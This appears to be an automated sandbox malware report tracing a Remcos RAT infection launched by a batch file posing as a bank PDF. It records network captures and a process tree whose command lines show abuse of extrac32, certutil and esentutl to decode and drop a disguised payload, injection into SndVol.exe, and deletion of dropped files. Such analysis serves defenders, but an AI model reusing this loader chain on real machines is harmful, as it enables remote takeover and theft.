Nov 20, 2024 07:53:12.722029924 CET	1236	IN	Data Raw: 41 33 33 79 6e 6b 47 4f 6c 4e 36 67 62 78 54 65 73 45 38 2f 4c 66 34 64 37 6f 38 56 76 36 44 2b 73 50 33 34 6e 6d 66 64 32 49 38 59 50 6c 5a 4f 74 7a 38 6d 44 6c 5a 66 54 4f 35 37 33 6b 76 2f 48 50 33 72 76 6c 73 75 53 31 33 37 62 79 50 75 70 43 Data Ascii: A33ynkGOlN6gbxTesE8/Lf4d7o8Vv6D+sP34nmfd2I8YPlZOtz8mDlZfTO573kv/HP3rvlsuS137byPupC8jHuMOMl4BjvAuBP607mB+X77uDk7ewr4CrhEe6U9YHkgeCR6GXjcO9r5Gzq2/PY5L31xual5bfwt9+j5EnlLN498zbrG/Mc7wniS+FO7ljh3urh5/ghUBxNIgAaSyaTJfgc7xH2IuIm7h3uKCgcKSEUHyEYECGRE
Nov 20, 2024 07:53:12.722042084 CET	1224	IN	Data Raw: 4a 32 4f 6d 6c 39 37 57 56 7a 62 65 6c 73 34 4d 6a 72 7a 66 66 47 33 4e 48 69 45 2f 74 55 33 73 72 76 73 39 77 74 33 7a 6a 36 68 65 57 53 33 6f 72 6f 58 75 4d 6e 37 6c 66 6d 68 65 35 75 38 32 62 65 63 64 33 47 38 6b 66 64 51 65 62 39 36 32 48 72 Data Ascii: J2Oml97WVzbels4MjrzffG3NHiE/tU3srvs9wt3zj6heWS3oroXuMn7lfmhe5u82becd3G8kfdQeb962HrsvCG62LzZ99r3tDxRvqK5N/ha+r24d0cjSTZHqoVRSQuE/AiHyMkGIIqaSPJJKUpshanHvgWWhqHJZAocRh0KXgkwR+uHjIXUB3uFYB3cnYuaX0OZd1c6UrgWeuT94vfduFj+L3fx/i26w7qq/EG3h/kE+UP3iPzm
Nov 20, 2024 07:53:12.722058058 CET	1236	IN	Data Raw: 33 63 54 4f 57 4c 33 74 37 79 64 2b 68 64 35 6d 76 76 74 2b 69 69 2b 53 6a 71 66 4f 6d 47 37 32 62 67 61 2b 76 61 36 38 4c 67 51 2b 30 56 35 55 7a 79 61 2b 34 72 34 74 44 68 34 75 31 34 34 6d 7a 70 31 2b 53 72 35 2f 48 73 33 65 61 59 37 34 76 6a Data Ascii: 3cTOWL3t7yd+hd5mvvt+ii+SjqfOmG72bga+va68LgQ+0V5Uzya+4r4tDh4u144mzp1+Sr5/Hs3eaY74vjcSZ0G18SzyGvJSwe+SfgGyAifSB+GKshPRLzIyQiAhVQW5cktyMkKv0VjB2SFl0a2iWrKDAZEijpHeUfex7EaXNzomt9RnJ2c/ez7DHeYOo14z7oT/Td3rrgPPkx3lfv9tyO6HvtouJR6GzpduLA76znRexq8D3d4
Nov 20, 2024 07:53:12.727005959 CET	1236	IN	Data Raw: 56 63 35 71 44 6c 6f 2f 41 7a 33 7a 50 6b 45 4f 56 51 33 68 54 7a 4b 75 68 35 38 48 6e 73 36 4f 43 72 34 35 77 63 6e 69 56 4d 49 4f 51 6a 6c 53 47 32 47 58 41 64 76 57 74 35 64 6f 4a 32 68 34 68 34 37 6e 7a 6f 75 4e 34 2b 35 76 76 64 36 76 48 64 Data Ascii: Vc5qDlo/Az3zPkEOVQ3hTzKuh58Hns6OCr45wcniVMIOQjlSG2GXAdvWt5doJ2h4h47nzouN4+5vvd6vHd6u7kJu0j6lv7JeZa5ZfzbtwN5vDnfCtIGPMdSBUcGewmhCeJGUopviTxHwoeIxd+c2Zr6neG6XP3wPmp6Kfcsetf4GTsGuch6Y7xZubR99QjWiMCF7EqNiMZJEwpgxbmI/Ab32l1dBt3hhhsd2Xioty43mP1X9/X9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49710	178.237.33.50	80	8072	C:\Windows\SysWOW64\SndVol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 07:53:21.006829023 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Nov 20, 2024 07:53:21.627352953 CET	1170	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 06:53:21 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.75", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

Target ID:	0
Start time:	01:53:06
Start date:	20/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "
Imagebase:	0x7ff7a5000000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	1
Start time:	01:53:06
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	01:53:06
Start date:	20/11/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	C:\\Windows\\System32\\extrac32 /C /Y C:\\Windows\\System32\\cmd.exe "C:\\Users\\Public\\alpha.exe"
Imagebase:	0x7ff699a50000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	4
Start time:	01:53:07
Start date:	20/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Imagebase:	0x7ff6a0e70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Target ID:	5
Start time:	01:53:07
Start date:	20/11/2024
Path:	C:\Windows\System32\extrac32.exe
Wow64 process (32bit):	false
Commandline:	extrac32 /C /Y C:\\Windows\\System32\\certutil.exe C:\\Users\\Public\\kn.exe
Imagebase:	0x7ff699a50000
File size:	35'328 bytes
MD5 hash:	41330D97BF17D07CD4308264F3032547
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	01:53:07
Start date:	20/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Imagebase:	0x7ff6a0e70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	01:53:07
Start date:	20/11/2024
Path:	C:\Users\Public\kn.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\kn -decodehex -F "C:\Users\user\Desktop\USD470900_COPY_800BLHSBC882001.PDF.bat" "C:\\Users\\Public\\AnyDesk.jpeg" 9
Imagebase:	0x7ff68fc00000
File size:	1'651'712 bytes
MD5 hash:	F17616EC0522FC5633151F7CAA278CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	moderate
Has exited:	true

Target ID:	8
Start time:	01:53:08
Start date:	20/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Imagebase:	0x7ff6a0e70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	9
Start time:	01:53:09
Start date:	20/11/2024
Path:	C:\Users\Public\kn.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\kn -decodehex -F "C:\\Users\\Public\\AnyDesk.jpeg" "C:\\Users\\Public\\Libraries\\AnyDesk.PIF" 12
Imagebase:	0x7ff68fc00000
File size:	1'651'712 bytes
MD5 hash:	F17616EC0522FC5633151F7CAA278CAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	10
Start time:	01:53:09
Start date:	20/11/2024
Path:	C:\Users\Public\Libraries\AnyDesk.PIF
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Libraries\AnyDesk.PIF
Imagebase:	0x400000
File size:	1'226'752 bytes
MD5 hash:	DF6F291F617D9DBAE8F32FB11ECD59C1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000A.00000003.1426879864.000000007FC50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.1519993639.000000007E810000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_DBatLoader, Description: Yara detected DBatLoader, Source: 0000000A.00000003.1427511863.000000007F920000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000A.00000002.1498580149.0000000002DB7000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	11
Start time:	01:53:09
Start date:	20/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\kn.exe" / A / F / Q / S
Imagebase:	0x7ff6a0e70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	12
Start time:	01:53:09
Start date:	20/11/2024
Path:	C:\Users\Public\alpha.exe
Wow64 process (32bit):	false
Commandline:	C:\\Users\\Public\\alpha /c del /q "C:\Users\Public\AnyDesk.jpeg" / A / F / Q / S
Imagebase:	0x7ff6a0e70000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	14
Start time:	01:53:14
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Libraries\hgkvgoaF.cmd" "
Imagebase:	0xa40000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	15
Start time:	01:53:14
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	16
Start time:	01:53:15
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\cmd.exe /d C:\\Users\\Public\\alpha.pif /o
Imagebase:	0x380000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	17
Start time:	01:53:15
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl /y C:\\Windows\\System32\\ping.exe /d C:\\Users\\Public\\xpha.pif /o
Imagebase:	0x380000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	18
Start time:	01:53:15
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\esentutl.exe
Wow64 process (32bit):	true
Commandline:	C:\\Windows\\System32\\esentutl.exe /y C:\Users\Public\Libraries\AnyDesk.PIF /d C:\\Users\\Public\\Libraries\\Faogvkgh.PIF /o
Imagebase:	0x380000
File size:	352'768 bytes
MD5 hash:	5F5105050FBE68E930486635C5557F84
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	19
Start time:	01:53:15
Start date:	20/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	20
Start time:	01:53:16
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\SndVol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\SndVol.exe
Imagebase:	0x790000
File size:	226'712 bytes
MD5 hash:	BD4A1CC3429ED1251E5185A72501839B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.3879565990.000000001C118000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 00000014.00000002.3868017269.0000000002CF0000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	false

Target ID:	22
Start time:	01:53:29
Start date:	20/11/2024
Path:	C:\Users\Public\Libraries\Faogvkgh.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Faogvkgh.PIF"
Imagebase:	0x400000
File size:	1'226'752 bytes
MD5 hash:	DF6F291F617D9DBAE8F32FB11ECD59C1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 32%, ReversingLabs
Has exited:	true

Target ID:	23
Start time:	01:53:30
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\SndVol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\SndVol.exe
Imagebase:	0x790000
File size:	226'712 bytes
MD5 hash:	BD4A1CC3429ED1251E5185A72501839B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 00000017.00000002.1635427252.0000000002C00000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000017.00000002.1661654615.000000002AB37000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Target ID:	24
Start time:	01:53:37
Start date:	20/11/2024
Path:	C:\Users\Public\Libraries\Faogvkgh.PIF
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Libraries\Faogvkgh.PIF"
Imagebase:	0x400000
File size:	1'226'752 bytes
MD5 hash:	DF6F291F617D9DBAE8F32FB11ECD59C1
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Has exited:	true

Target ID:	25
Start time:	01:53:38
Start date:	20/11/2024
Path:	C:\Windows\SysWOW64\SndVol.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\System32\SndVol.exe
Imagebase:	0x790000
File size:	226'712 bytes
MD5 hash:	BD4A1CC3429ED1251E5185A72501839B
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.1714791876.0000000000647000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_EventViewer, Description: detects Windows exceutables potentially bypassing UAC using eventvwr.exe, Source: 00000019.00000002.1714933699.00000000027D0000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Has exited:	true